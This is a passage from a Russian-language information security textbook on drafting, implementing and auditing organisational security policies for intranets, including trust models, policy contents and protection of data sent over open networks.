Требование руководства, обнаружившего недостаток внимания к проблемам ИБ, которые привели к снижению эффективности бизнеса. Нескольких серьезных инци дентов, повлекших за собой остановку или замедление работы компании в результате различных локальных и удаленных атак, разглашение конфиденциальной информа ции или кража компьютеров существенно стимулируют появление таких требований.
Требования законодательства и отраслевых стандартов. ПБ позволяет опреде лить правила, в соответствии с которыми информация компании будет отнесена к ка тегории коммерческой или служебной тайны. Это позволит юридически защитить информацию (ст. 139 Гражданского кодекса РФ). В зависимости от сферы действия компании она должна выполнять требования существующего законодательства ее отрасли. Например, в соответствии со ст. 857 банки должны гарантировать защиту банковской тайны клиентов. Страховщики должны защищать тайну страхования
(ст. 946) и т. п. Также в соответствии с Указом № 188 от 06.03.97 "Об утверждении перечня сведений конфиденциального характера" компании должны обеспечивать защиту персональных данных сотрудников.
Требования клиентов и партнеров о подтверждении необходимого уровня обес печения ИБ для гарантии того, что их конфиденциальная информация защищена надлежащим образом. Они могут потребовать юридического подтверждения данного факта в контрактах. Именно в ПБ есть четкое доказательство намерений компании относительно ИБ.
Необходимость сертификации по стандартам, подтверждающей необходимый уровень обеспечения ИБ для защиты информации и бизнес-процессов.
Требования аудиторов. Любая внешняя аудиторская проверка обращает внимание на необходимость формализации всех бизнес-процесов, в том числе особое внимание уделяется наличию ПБ.
Обеспечение конкурентоспособности за счет оптимизации бизнес-процессов и увеличения производительности. Правильно разработанная и реализованная ПБ по зволяет уменьшить время недоступности сервисов, вызванных компьютерными ин цидентами, таким образом, увеличивая показатель живучести компании.
Демонстрация заинтересованности руководства в обеспечении ИБ, что значи тельно увеличивает приоритет безопасности в глазах сотрудников компании. Без это го они не станут воспринимать ПБ всерьез.
Вовлечение сотрудников в процесс обеспечения ИБ. Необходимо убедить сотруд ников в том, что обеспечение ИБ - их прямая обязанность. Это достигается путем введения процедуры ознакомления с требованиями ПБ и подписания соответствую щего документа о том, что сотрудник ознакомлен, ему понятны все требования поли тики и он обязуется их выполнять. ПБ позволяет ввести требования по поддержанию необходимого уровня ИБ в перечень обязанностей каждого сотрудника. Также важ ным условием успеха в области обеспечения ИБ становится создание в компании ат мосферы, благоприятной для пропаганды и поддержания высокого приоритета ИБ.
Уменьшение стоимости страхования. Страхование - важная составляющая управления информационными рисками. Наличие ПБ является необходимым и обя зательным условием страхования. В России уже появились фирмы, предлагающие страховать информационные риски (например, РОСНО и Ингосстрах). Стоимость страхования компания определяет путем проведения аудита ИБ независимой органи зацией, специализирующейся в этой области.
Экономическая целесообразность. ПБ является самым дешевым и одновременно самым эффективным средством обеспечения ИБ.
Хорошая практика. Наличие ПБ является правилом хорошего тона. В опросе, проведенном в 2002 г. в Великобритании компанией PriceWaterHouseCoopers, 67 % компаний выделили именно эту причину создания ПБ.
После принятия и утверждения ПБ касается каждого сотрудника в пределах орга низации. Большинство людей вполне оправданно могут сопротивляться любым ме рам, которые, по их мнению, будут сказываться на производительности их работы. Например, многочисленные процедуры идентификации перед доступом к данным, находящимся в конфиденциальных БД, увеличат время эффективной работы за ком пьютером. Некоторые люди в силу своего характера могут сопротивляться любым нововведениям и переменам в работе. Часть пользователей может не признавать ни каких запретов, ограничивающих свободу их действий, и рассматривать ПБ лишь как меру контроля за поведением сотрудников (такой контроль в зарубежных научных публикациях даже получил свой термин - "синдром старшего брата").
Каждый человек имеет свои представления относительно потребности в контроле за безопасностью. Они не всегда могут совпадать с теми, которые приняты в органи зации, куда он пришел работать. Если изначально потенциальный сотрудник не раз деляет ПБ организации, стоит принципиально решать вопрос о его приеме на работу.
Кроме того, люди боятся, что ПБ будет трудно придерживаться и ее будет трудно осуществлять.
Так кто же должен быть заинтересован в ПБ? В первую очередь это сами пользо ватели - их ПБ касается в наибольшей степени, поскольку регламентирует их каждо дневную работу. Это вспомогательный персонал системы (системный администра тор, администратор ИБ интранетА, технический персонал и т. д.) - от них требуется реализовывать на практике и следить за выполнением ПБ. И наконец, это руково дство организации - именно оно в первую очередь ответственно перед своими со трудниками, клиентами и заказчиками, обеспокоено относительно репутации органи зации, заинтересовано в ее процветании в условиях рыночной конкуренции и в защи те определяющих это процветание данных.
5.5.3. Основные требования к политике безопасности
Основными требованиями к ПБ являются следующие.
■ ПБ должна быть реализуема, а ее реализация контролируема.
■ ПБ должна быть краткой и простой для понимания.
■ ПБ должна иметь разумный баланс между защитой и при этом не влиять на эф фективность работы сотрудников организации, т. е. не снижать производитель ность их работы.
■ ПБ должна регулярно модифицироваться, чтобы отражать развитие организации.
■ С ПБ организации должны быть ознакомлены все сотрудники. Программа обуче ния в области ИБ и контрольные проверки действий в тех или иных ситуациях могут достаточно эффективно демонстрировать всем пользователям ПБ.
■ Чтобы быть эффективной, ПБ должна быть наглядной. Наглядность способствует реализации политики, помогая гарантировать ее знание и понимание всеми со трудниками организации. Видеофильмы, семинары, статьи во внутренних издани ях организации или на ее внутреннем веб-узле увеличивают такую наглядность.
■ ПБ обязательно должна быть согласована с общепризнанными основами теории защиты информации и компьютеров, со всеми существующими нормативно-правовыми документами, соблюдение которых требуется от организации в стране ее функционирования, а также директивами, законами, приказами и общими зада чами самой организации. Она должна быть интегрирована в общую политику ор ганизации и согласована с другими политиками (например, политикой по приему на работу).
ПБ в отношении интранета должна складываться из трех основных состав ляющих:
1) планов защиты отдельных подсистем;
2) планов защиты отдельных ресурсов;
3) положений и инструкций, определяющих правила работы персонала с защи щаемой информацией, сетевыми программными и аппаратными средствами.
ПБ можно разделить на две категории: административные политики (выполняе мые людьми, использующими систему, и людьми, управляющими ей) и технические политики, реализуемые с помощью оборудования и программ. В зависимости от это го ПБ базируется на правилах двух видов. Первая группа связана с заданием правил разграничения доступа ко всем ресурсам системы, а вторая группа основана на пра вилах анализа сетевого трафика как внутри интранета, так и при его выходе из сис темы или входе в нее. В основе этих правил, и соответственно выработки ПБ, лежит принцип доверия. Определяя ПБ, нужно выяснить, насколько можно доверять людям и ресурсам.
Для первой группы правил главный вопрос заключается в том, кому и в какой степени в интранете можно доверять, имея в виду больше человеческий фактор, но не забывая при этом и о запущенных в интранете процессах и приложениях. Началь ный этап задания этих правил состоит в определении тех, кто получает доступ. Пред варительные установки систем, обеспечивающих защиту информации в интранете, могут соответствовать принципу наименьшего доступа для всех. Далее для каждой группы пользователей и входящих в нее представителей определяются степени дове рия. Это дело очень сложное и даже деликатное.
■ Если доверие ко всем слишком велико, то им могут злоупотреблять и тогда воз можны проблемы с нарушением безопасности.
■ Если доверия заслуживает лишь очень небольшая группа пользователей, то и в этом случае возникнут ситуации, когда выполнение обычных обязанностей слу жащих организации будет затруднено, например постоянными процедурами ау тентификации, что вызовет с их стороны только раздражение, полное неприятие ПБ и нежелание ее поддерживать и осуществлять ее основные положения на практике. Компромиссное решение в данном случае и будет самым подходящим -всего должно быть в меру, в том числе доверия и недоверия.
В данном контексте вопрос для второй группы правил звучит так: "Каким пакетам в интранете доверять, а каким нет, ибо они могут циркулировать в интранете по ини циативе злоумышленника?" Именно эти правила и являются главенствующими при установке и настройке основных систем анализа трафика в интранете и пакетных фильтров (самой простой разновидности МЭ).
Для интранета можно выделить три основные трастовые модели, или модели до верия:
1) либеральная - доверять всем в течение всего времени работы;
2) запретительная - не доверять никому и никогда;
3) разумная, или компромиссная, - доверять иногда некоторым людям.
Первая модель - самая простая, но непрактичная, поскольку любой пользователь и любой процесс в системе имеют доступ к любым ресурсам, независимо от степени их конфиденциальности. Один проникший в систему злоумышленник, не важно внешний он или внутренний, может получить НСД к информации, которая определя ет успешность бизнеса организации. Вторая модель также малоприменима на прак тике, поскольку существенно ограничивает или даже затрудняет выполнение основ ных функций практически всех служащих организации, и тогда просто невозможно найти служащих, которые согласятся работать в таких условиях. Третья модель оп ределяет доступ ко всем ресурсам по мере необходимости, например по запросам от пользователей или руководства организации. Далее использование предоставленного доступа контролируется с помощью специальных систем, позволяющих обнаружи вать факты злоупотребления и регистрировать доступ пользователей и процессов ко всем ресурсам. Эти системы позволяют гарантировать, что доверие не нарушалось. Данная модель, как и все предыдущие, предполагает, что при начале работы в систе ме все пользователи уведомляются об их правах доступа, а примеры нарушения этих прав становятся общеизвестны всем сотрудникам организации.
При разработке и проведении в жизнь ПБ целесообразно руководствоваться сле дующими принципами [91]:
■ невозможность миновать защитные средства, что определяется при обследовании интранета (применительно к МЭ это означает, что все информационные потоки в защищаемый интранет и из него должны проходить через МЭ; не должно быть "тайных" модемных входов или тестовых линий, идущих в обход МЭ);
■ усиление самого слабого звена, выявляемого при регулярном обследовании ин транета (злоумышленник предпочитает легкую победу; часто самым слабым зве ном оказывается не компьютер или ПО, а человек; тогда проблема обеспечения ИБ приобретает нетехнический характер);
■ невозможность перехода в небезопасное состояние, т. е. при любых обстоятельст вах, в том числе нештатных, защитное средство либо полностью выполняет свои функции, либо полностью блокирует доступ;
■ минимизация привилегий, предписывающая выделять пользователям и админист раторам только те права доступа, которые необходимы им для выполнения слу жебных обязанностей (цель - уменьшить ущерб от случайных или умышленных некорректных действий);
■ разделение обязанностей - распределение ролей и ответственности, при котором один человек не может нарушить критически важный для организации процесс или создать уязвимость в защите по заказу злоумышленников (важно для предот вращения злонамеренных или неквалифицированных действий системного адми нистратора);
■ эшелонированность (многоуровневость, многослойность) обороны (defence in depth) (нельзя полагаться на один защитный рубеж, каким бы надежным он ни ка зался: за средствами физической защиты должны следовать программно-технические средства, за идентификацией и аутентификацией - управление дос тупом, и как последний рубеж - протоколирование и аудит);
■ разнообразие защитных средств, что позволяет организовывать различные по сво ему характеру оборонительные рубежи (тогда злоумышленник для взлома систе мы должен владеть разнообразными знаниями и навыками);
■ простота и управляемость ИС в целом и защитных средств в особенности (только для простого защитного средства можно доказать его корректность; только в про стой и управляемой ИС можно проверить согласованность конфигурации различ ных компонентов и осуществить централизованное администрирование; для ин транета важно отметить интегрирующую роль веб-сервиса, скрывающего разно образие обслуживаемых объектов и предоставляющего единый интерфейс);
■ обеспечение всеобщей поддержки мер безопасности, предусматривающее ком плекс мер, направленный на обеспечение лояльности персонала и его постоянное теоретическое и практическое обучение (если сотрудники организации считают ИБ чем-то излишним или даже враждебным, то режим безопасности сформиро вать не удастся; интранет, существенно облегчая потребление информации, спо собствует созданию в организации благоприятного психологического климата и осознанному следованию ПБ).
5.5.4. Этапы выработки политики безопасности
Разработка ПБ - длительный и трудоемкий процесс, требующий высокого про фессионализма, отличного знания нормативной базы в области ИБ и, помимо всего прочего, писательского таланта. Не всегда создание ПБ нужно начинать с нуля. Во многих случаях можно воспользоваться существующими наработками, ограничив шись адаптацией типового комплекта ПБ к специфическим условиям своей органи зации. Этот путь позволяет сэкономить многие месяцы работы и повысить качество разрабатываемых документов. Кроме того, он является единственно приемлемым в случае отсутствия в организации собственных ресурсов для квалифицированной разработки ПБ.
Выработка конкретной ПБ зависит от размера и целей организации, ее прини мающей.
С практической точки зрения ПБ целесообразно разделить на несколько уровней, как правило два или три [92]. Верхний уровень носит общий характер и определяет ПБ организации в целом. Средний уровень выделяют в случае структурной сложно сти организации или при необходимости обозначить специфичные подсистемы. Это касается отношения к перспективным, еще недостаточно апробированным техноло гиям. Кроме того, здесь могут быть выделены особо значимые контуры интранета, например обрабатывающие критически важную информацию. Нижний уровень отно сится к конкретным службам или подразделениям организации и детализирует верх ние уровни ПБ. На данном уровне определяются конкретные цели, частные критерии и показатели ИБ, задаются права групп пользователей, формулируются условия дос тупа к информации, выводятся правила безопасности и т. п.
ПБ должна быть определена в момент проектирования интранета. Жизненный цикл ПБ, или процесс ее выработки, начинается с определения состава группы разра ботки и функций каждого входящего в эту группу. Сразу же решается, кто в даль нейшем будет знакомить с ней сотрудников организации и следить за ее реализацией, какие меры будут применяться к тем, кто ее нарушает, а также какова периодичность и каков порядок пересмотра ПБ в зависимости от изменяющихся условий работы ор ганизации (это связано с тем, что соблюдение адекватной ПБ в интранете в течение длительного времени является практически невыполнимой задачей, так как меняется как окружающая среда, так и сам интранет: модифицируется ее АО, ПО и сетевая структура).
Следующий шаг - это способ выработки ПБ, т. е. на основе какой информации будет определяться ПБ, кем эта информация будет предоставляться и какова степень доверия к этой информации. Нельзя включать в рассмотрение те факторы, которые часто меняются. И нельзя сводить ПБ лишь к детальному плану реализации основ ных мер по защите всех ресурсов организации (например, недопустима ориентация на конкретные средства защиты и указание конкретных версий продуктов конкрет ных производителей, иначе при появлении новых версий и выпуске средств новых производителей придется пересматривать всю ПБ).
На этом этапе надо получить ответы руководства, клиентов и пользователей от дельных сервисов организации на следующие вопросы.
Какие ожидания пользователи и клиенты возлагают на обеспечение безопасности интранета?
Потеряет ли организация клиентов, если безопасность интранета будет обеспече на недостаточно серьезно или если она будет обеспечена настолько серьезно, что это затруднит выполнение ими их обычных обязанностей?
Сколько времени простоя или какие материальные потери уже принесли наруше ния безопасности сети в прошлом?
Обеспокоена ли организация угрозами внутренних пользователей? Может ли она доверять своим пользователям?
Сколько конфиденциальной информации находится в интерактивном режиме доступа (on-line)? Каковы предполагаемые потери организации, если эта информация будет скомпрометирована или украдена?
Нужны ли организации различные уровни безопасности для разных подразделе ний и категорий пользователей?
Какова конфигурация интранета и отдельных хостов (компьютеров с уникальны ми адресами, выполняющих функции по централизации работы сети) организации? Поддерживаются ли опасные сетевые сервисы (типа сетевой файловой системы NFS, команды rlogin и т. д.)? Нужны ли выделенные хосты для поддержания основного профиля безопасности всего интранета?
Существуют ли в организации руководящие принципы, регламентирующие безо пасность, инструкции или законы, которые требуется выполнять? Если да, то следу ют ли этим руководящим принципам и правилам в организации?
Имеют ли требования области деятельности организации приоритет над требова ниями безопасности при их несоответствии? Если да, то поощряется ли такой подход в организации?
Насколько важны конфиденциальность, целостность и доступность информации для полноценной работы организации?
Являются ли решения, которые принимаются в организации, соответствующими потребностям ее области деятельности и ее экономическому положению?
Еще один важный момент - каков будет вид представления и состав документа ции, определяющей ПБ. ПБ может быть описана в одном большом или нескольких небольших документах (в России основной документ получил название "Концепция политики ИБ"). Небольшие документы иногда предпочтительнее, так как их проще при необходимости обновлять. Для организаций небольшого размера, конечно же, легче изложить всю ПБ в одном документе.
После ответа на все эти вопросы определяется само содержание ПБ.
5.5.5. Содержание политики безопасности
Общепризнанным стандартом при создании комплексной ПБ компании является рассмотренный выше (п. 5.4.2) международный стандарт управления ИБ ISO 17799. Для создания и проверки ПБ на соответствие стандарту предназначены, например, британская система Cobra компании С&А Systems Security Ltd [http://www.risk world.net/purchase.htm] и российская система КОНДОР+ компании Digital Security [http://www.dsec.ru/soft/kondor.php].
Основу ПБ составляет способ управления доступом, определяющий порядок дос тупа субъектов системы к объектам системы. Название этого способа, как правило, определяет название ПБ.
Обычно ПБ, согласно данному в NIST "Computer Security Handbook" описанию, должна включать в себя следующие части.
Предмет ПБ. Перед описанием самой ПБ в данной области нужно сначала опре делить саму область с помощью ограничений и условий в понятных всем терминах (или ввести некоторые из терминов). Часто полезно явно указать цель или причины разработки политики. Если, например, говорить о ПБ при подключении организации к Интернету, то может понадобиться уточнение, какие соединения, через которые ве дется работа с Интернетом (напрямую или опосредованно), охватывает эта политика. ПБ также может определять, учитываются ли другие аспекты работы в Интернете, не имеющие отношения к безопасности, такие, как персональное использование соеди нений с Интернетом.
Типовыми являются следующие цели:
■ обеспечение уровня безопасности, соответствующего нормативным документам предприятия;
■ достижение экономической целесообразности в выборе защитных мер;
■ обеспечение соответствующего уровня безопасности в конкретных функциональ ных областях;
■ реализация подотчетности анализа регистрационной информации и всех действий пользователей с информационными ресурсами;
■ выработка планов восстановления после критических ситуаций и обеспечения не прерывной работы интранета и др.
Описание позиции организации. Как только описан предмет ПБ, даны определения основных понятий и рассмотрены условия ее применения, в явной форме описывает ся позиция организации (т. е. решение ее руководства) по данному вопросу.
Применимость. Это означает, что надо уточнить где, как, когда, кем и к чему применяется данная ПБ, т. е. перечисляются все пользователи и ресурсы, которых эта ПБ касается.
Роли и обязанности. Нужно указать ответственных лиц и их обязанности в от ношении разработки и внедрения различных аспектов ПБ, а также в случае нару шения ПБ.
Меры защиты. Перечисляются конкретные меры, реализующие ПБ в организа ции, дается обоснование выбора именно такого перечня мер защиты и указывается, какие угрозы безопасности интранета наиболее эффективно предотвращаются таки ми мерами защиты.
Соблюдение политики. Для ПБ может оказаться уместным описание, с некоторой степенью детальности, нарушений, которые неприемлемы, и последствий такого по ведения. Могут быть явно описаны наказания, применяемые к нарушителям ПБ. Если к сотрудникам применяются наказания, то это нужно согласовывать с соответствую щими должностными лицами и отделами. Также полезно поставить задачу конкрет ному подразделению организации следить за соблюдением ПБ.
Ответственные, или консультанты, по вопросам безопасности и справочная информация. Для любой ПБ нужны консультанты, с кем можно связаться в случае необходимости и получить квалифицированную помощь по вопросам безопасности. Можно назначить сотрудника, занимающего конкретную должность как консультан та. Например, по некоторым вопросам консультантом может быть один из менедже ров, по другим - начальник отдела, сотрудник технического отдела, системный ад министратор или сотрудник службы безопасности. Они должны уметь разъяснять ПБ и правила работы на конкретной системе. В их обязанности входит ознакомление всех новых служащих организации с ПБ при поступлении на работу и сообщение об изменениях в этой ПБ по мере их внесения. Также должно вестись обучение всех со трудников основным вопросам обеспечения безопасности, а администратор и со трудники отдела безопасности организации должны регулярно проходить переподго товку с целью повышения квалификации в специальных учебных центрах (на базе специализирующихся в этих вопросах учебных заведений.)
Как уже было отмечено выше, единая ПБ интранета может складываться из не скольких политик, определяющих правила защиты отдельных ее подсистем и ресур сов. Некоторые политики подходят для всех узлов интранета, другие специфичны для определенных сред. Различают четыре основные ПБ, которые должны быть оп ределены для каждого устройства в интранете (например, компьютера), если оно во влечено в процесс работы с конфиденциальной информацией:
1) допустуимого использования;
2) учетных записей (или бюджетов) пользователей;
3) удаленного доступа;
4) для конфиденциальной информации.
Рассмотрим эти политики более детально.
ПБ допустимого использования определяет надлежащее использование вычис лительных ресурсов: четко оговаривается, какие действия разрешены, а какие запре щены. От пользователей часто требуется прочесть документ, регламентирующий данную ПБ, и расписаться в соответствующем журнале перед получением идентифи катора и пароля для работы в интранете и определением пространства для хранения их информации (т. е. перед предоставлением пользователю его учетной записи).
Выделим некоторые общие элементы политики допустимого использования. Эта политика должна определять:
■ ответственность пользователей в терминах защиты информации, хранимой в их учетной записи;
■ могут ли пользователи читать и копировать файлы, которые не являются их соб ственностью, но доступны им;
■ могут ли пользователи изменять файлы, которые не являются их собственностью, но к которым они имеют доступ для записи;
■ позволено ли пользователям делать копии системных файлов конфигурации (на пример, /etc/passwd) для своего персонального использования или для передачи другим людям;
■ могут ли пользователи делать копии лицензионного ПО;
■ позволено ли пользователям применять файл .rhosts и какие типы доступа разре шены;
■ могут ли пользователи разделять (совместно использовать) учетные записи;
■ уровень приемлемого использования электронной почты, телеконференций Ин тернета и доступа к WWW.
Реальные примеры политик можно найти в Интернете по адресу http://www.eff.org/ pub/CAF/policies/. По этому адресу расположен архив "Computers and Academic Freedom" (CAF), содержащий коллекцию политик защиты компьютеров многих учебных заведений и сетей, а также критические замечания для некоторых из этих политик. Политики допустимого использования придерживаются, например, такие организации США, как Corporation for Research and Educational Networking (CREN), ANS (организация, занимающаяся проведением исследовательских работ и обучени ем), университеты Berkeley, Cornell и Buffalo, CAPCON (организация, предостав ляющая доступ dial-up к Интернету для библиотек и других учреждений), Committee on Institutional Cooperation.
Подробный текст политики допустимого использования ресурсов интранета при веден в прил. 4.
ПБ учетных записей (бюджетов) пользователей определяет требования для предоставления и поддержания бюджетов в системах. Эта политика очень важна для больших узлов, где пользователи обычно имеют бюджеты сразу в нескольких систе мах. Некоторые из этих узлов доступны пользователям, ознакомившимся с ПБ и под писавшимся под ней при запросе на предоставление бюджета.
Политика бюджетов пользователей должна определять:
■ кто имеет полномочия на решение вопроса о предоставлении бюджета конкрет ному пользователю;
" кому позволено использовать ресурсы (например, только служащим или только студентам);
■ любые требования по приоритетному доступу или резидентной работе;
■ позволено ли пользователям разделять бюджеты или иметь несколько бюджетов на одном компьютере;
■ правила составления паролей и время их действия;
■ права и обязанности пользователей;
■ когда бюджет признается недействительным (т. е. его владелец лишается опреде ленных прав доступа) и попадает в архив;
■ как долго созданная учетная запись может оставаться неактивной прежде, чем ее признают недействительной.
Примеры таких политик также доступны в архиве CAF http://www.eff.org/pub/ CAF/policies/. Этой политики придерживаются, например, в государственном уни верситете Mankato (Minnesota), университете Rice и университете Вашингтона.
ПБ удаленного доступа выделяет и определяет разрешенные методы удаленного соединения с интранетом. Эта политика необходима в большой организации, где сети географически рассредоточены и даже могут быть соединены с домашними ПК слу жащих. Такая политика должна учитывать все доступные методы дистанционно об ращаться к внутренним ресурсам: через сервер удаленного доступа (по протоколам SLIP, РРР); ISDN/Frame Relay/X.25; доступ по протоколу Telnet из Интернета; доступ по телефонной линии на основе обычного модема; доступ посредством кабельного модема; прямое подключение; подключение к виртуальной частной сети.
Политика УД должна определять:
■ кому позволено иметь УД;
■ какие методы разрешены для УД;
■ разрешены ли модемы для доступа dial-out;
■ кому позволено иметь высокоскоростной УД типа ISDN, Frame Relay и кабельных модемов и есть ли при этом какие-либо дополнительные требования;
■ любые ограничения на данные, к которым можно обращаться удаленно;
■ требования и методы подключения при наличии организаций-партнеров;
■ могут ли члены семьи сотрудников организации использовать УД для подключе ния через интранет, например, к Интернету.
Полный текст политики УД приведен в прил. 4.
ПБ для конфиденциальной информации определяет поведение пользователя при обработке, хранении и передаче конфиденциальной информации в зависимости от степе ни ее секретности. Главная цель такой ПБ состоит в том, чтобы гарантировать, что ин формация соответствующим образом защищена от модификации или раскрытия.
Политика для конфиденциальной информации должна определять:
■ кто может иметь доступ к конфиденциальной информации вообще и при особых обстоятельствах;
" правила составления паролей и время их действия;
■ в каких системах может храниться и обрабатываться конфиденциальная инфор мация;
■ информация какой степени секретности может быть распечатана на физически незащищенных принтерах;
" как конфиденциальная информация удаляется из систем и запоминающих уст ройств (например, размагничиванием носителей данных, чисткой жестких дисков, резкой бумажных копий);
■ любые установки по умолчанию для файлов и каталогов, определяемые в систем ных файлах конфигурации.
Эта и еще ряд интересных примеров политик безопасности приведены в прил. 4.
5.5.6. Реализация политики безопасности
С наибольшими трудностями приходится сталкиваться на этапе внедрения ПБ, который, как правило, связан с необходимостью решения технических, организаци онных и дисциплинарных проблем. Часть пользователей может сознательно либо бессознательно сопротивляться введению новых правил поведения, которым теперь необходимо следовать, а также программно-технических механизмов защиты ин формации, в той или иной степени неизбежно ограничивающих свободный доступ к информации. Администраторов интранета может раздражать необходимость выпол нения требований ПБ, усложняющих задачи администрирования. Помимо этого, мо гут возникать и чисто технические проблемы, связанные, например, с отсутствием в используемом ПО функциональности, необходимой для реализации отдельных по ложений ПБ.
На этапе внедрения необходимо не просто довести содержание ПБ до сведения всех сотрудников организации, но также провести обучение и дать необходимые разъяснения сомневающимся, которые пытаются обойти новые правила и продол жать работать по-старому.
Чтобы внедрение завершилось успешно, должна быть создана проектная группа по внедрению ПБ, действующая по согласованному плану в соответствии с установ ленными сроками выполнения работ.
Первая версия ПБ обычно не в полной мере отвечает потребностям организации, однако понимание этого приходит с опытом. Скорее всего, после наблюдения за про цессом внедрения ПБ и оценки эффективности ее применения потребуется осущест вить ряд доработок. В дополнение к этому используемые технологии и организация бизнес-процессов непрерывно изменяются, что приводит к необходимости корректи ровать существующие подходы к обеспечению ИБ. В большинстве случаев ежегод ный пересмотр ПБ является нормой, которая устанавливается самой политикой, что подразумевает:
■ обновление политики и ДМЗ безопасности, если это необходимо;
■ проверку совместимости политики и ДМЗ с существующей сетевой средой;
■ разработку новых и удаление старых правил политики и МЗ по мере необходимости.
Важность политики безопасности можно продемонстрировать, например, на ос нове подхода, которого придерживается фирма Cisco Systems. Этот подход называет ся "колесо безопасности" (Security Wheel). Он наглядно отражает постоянную дина мику процесса управления безопасностью (рис. 52).
Защита подразумевает установку средств обеспечения безопасности (МЭ, систем идентификации и аутентификации), организацию виртуальных частных сетей и т. п.
Мониторинг интранета на наличие нарушений установленной ПБ в режиме ре ального времени с помощью систем обнаружения вторжений может являться индика тором того, насколько корректно на предыдущем этапе были настроены средства обеспечения безопасности.
Тестирование (аудит) эффективности используемых средств защиты. Для этого применяются сканеры безопасности, которые определяют, насколько текущее со стояние дел соответствует правилам и процедурам, составляющим основу "колеса безопасности".
Улучшение (подстройка) ПБ - для этого собирается и анализируется информация этапов мониторинга и тестирования и выявляются новые риски и уязвимости.
Круглая форма "колеса безопасности" отражает его сущность - постоянное, цик лическое совершенствование и уточнение политики безопасности. В основе этого подхода лежат пять базовых принципов:
1) разработка жесткой политики безопасности;
2) обеспечение защиты сети и ее ресурсов;
3) мониторинг сети, обнаружение атак и ответные действия;
4) тестирование существующих механизмов обеспечения безопасности;
5) управление и корректирование политики безопасности.
При этом результаты, получаемые на этапах со второго по пятый, всегда сравни ваются с первоначальной политикой безопасности, разработанной на первом шаге, чтобы убедиться, что выполняются все "высокоуровневые" задачи по защите и обес печению безопасности.
5.5.7. АУДИТ ЗА ПРОВЕДЕНИЕМ ПОЛИТИКИ БЕЗОПА СНОСТИ
Соблюдение положений ПБ должно являться обязательным для всех сотрудников организации и должно непрерывно контролироваться. Рассмотрение различных форм и методов контроля, позволяющих оперативно выявлять нарушения безопасности и своевременно реагировать на них. Проведение планового аудита безопасности явля ется одним из основных методов контроля работоспособности ПБ, позволяющего оценить эффективность внедрения. Результаты аудита могут служить основанием для пересмотра некоторых положений ПБ и внесения в них необходимых корректи ровок.
Контроль выполнения правил ПБ может осуществляться путем проведения пла новых проверок в рамках мероприятий по аудиту ИБ.
В организации должны быть предусмотрены меры по реагированию на наруше ние правил ПБ. Эти меры должны предусматривать оповещение об инциденте, реа гирование, процедуры восстановления, механизмы сбора доказательств, проведения расследования и привлечения нарушителя к ответственности. Система мер по реаги рованию на инциденты должна быть скоординирована между ИТ-департаментом, службой безопасности и службой персонала.
Политики должны по возможности носить не рекомендательный, а обязательный характер. Ответственность за нарушение политики должна быть четко определена. За нарушение ПБ должны быть предусмотрены конкретные дисциплинарные, админи стративные взыскания и материальная ответственность.
5.2. Специфика защиты ресурсов открытых систем на примере интранета
Передача информации по открытым каналам связи при общении корпорации со своими бизнес-партнерами, филиалами или удаленными пользователями является огромным достижением новых сетевых технологий, но и вызывает вполне обосно ванное беспокойство тех, кто отвечает за конфиденциальный характер передаваемых таким образом данных. Секретные сведения могут попасть в руки конкурентов, шпионов и тех, кто по определенным соображениям сможет их подменить.
Безопасность информационного взаимодействия локальных сетей и отдельных компьютеров через открытые сети, например через глобальную сеть Интернет, тре бует качественного решения двух базовых задач (рис. 48): ■ защиты информации в процессе передачи по открытым каналам связи; " защиты подключенных к публичным каналам связи локальных сетей и отдельных
компьютеров от несанкционированных действий со стороны внешней среды.
Решение второй задачи основано на использовании МЭ, поддерживающих безо пасность информационного взаимодействия путем фильтрации двустороннего потока сообщений, а также выполнения функций посредничества при обмене информацией. Для защиты интранета организации от потенциально опасной внешней среды на сты ке между внутренней и внешней сетями располагают МЭ. Для защиты отдельного удаленного компьютера, подключенного к открытой сети, программное обеспечение МЭ устанавливается на этом же компьютере, а сам МЭ в этом случае называют пер сональным или настольным.
Защита информации в процессе передачи по открытым каналам связи основана на выполнении следующих функций:
■ аутентификации (установлении подлинности) взаимодействующих сторон;
■ шифровании передаваемых данных;
■ подтверждении подлинности и целостности доставленной информации;
■ защите от повтора, задержки и удаления сообщений;
■ защите от отрицания фактов отправления и приема сообщений.
Перечисленные функции во многом связаны друг с другом, и их реализация осно вана на криптографической защите передаваемых данных. Высокая эффективность такой защиты обеспечивается за счет совместного использования симметричных и асимметричных криптографических систем. Все эти функции возможно реализо вать одновременно, применив подход, основанный на построении виртуальной част ной сети.
Важнейшей отличительной особенностью задачи защиты информации интранета при ее перемещении между частями сети по каналам, не принадлежащим организа ции, является тот факт, что защита информации возлагается полностью на программ но-аппаратные средства, и не может быть решена путем физического ограничения доступа пользователей к компьютерам или к оборудованию, как это может быть сде лано для ограничения доступа к информации внутри отдельной организации. В гло бальной сети потенциальную возможность доступа к ресурсам имеет любой пользо ватель сети, находящийся в любой точке земного шара, и момент доступа к той или иной информации не может быть предсказан заранее.
Другой особенностью проблемы является огромная скорость развития в Интерне те ПО и технологий. Новые технологии преодоления СЗИ появляются каждые полго да, и арсенал применяемых атакующими средств может меняться каждые 2-3 месяца.
В открытой системе, и в интранете в том числе, существует четыре уровня обес печения ИБ:
■ защита отдельных программно-аппаратных устройств (компьютеров, сетевого оборудования), образующих основу открытой системы;
■ защита взаимодействия этих устройств, когда они образуют отдельные сегменты и подсети большой открытой системы;
■ защита взаимодействия сегментов и подсетей;
■ защита межсетевого взаимодействия одной открытой системы с другой открытой системой, например интранета с Интернетом.
С точки зрения безопасности существенными представляются следующие моменты:
■ интранет имеет несколько территориально разнесенных частей (поскольку орга низация располагается на нескольких производственных площадках), связи между которыми находятся в ведении либо самой организации, либо внешнего постав щика сетевых сервисов, выходя за пределы контролируемой зоны;
■ необходима защита корпоративных потоков данных, передаваемых по открытым сетям;
■ необходима аутентификация в открытых сетях;
■ интранет имеет одно или несколько подключений к внешним сетям, например к Интернету;
■ на каждой из производственных площадок (офис, филиал и т. д.) могут находить ся критически важные серверы, в доступе к которым нуждаются работники, бази рующиеся на других площадках, мобильные работники и, возможно, сотрудники сторонних организаций и другие внешние пользователи;
■ разграничение доступа между сегментами интранета;
■ защита потоков данных между клиентами и серверами;
■ для доступа пользователей могут применяться не только компьютеры, но и другие устройства, использующие, в частности, беспроводную связь;
■ в течение сеанса работы пользователю приходится обращаться к нескольким ин формационным сервисам, опирающимся на разные аппаратно-программные плат формы;
■ к доступности информационных сервисов предъявляются жесткие требования, обычно выражающиеся в необходимости круглосуточного функционирования с максимальным временем простоя порядка минут или десятков минут;
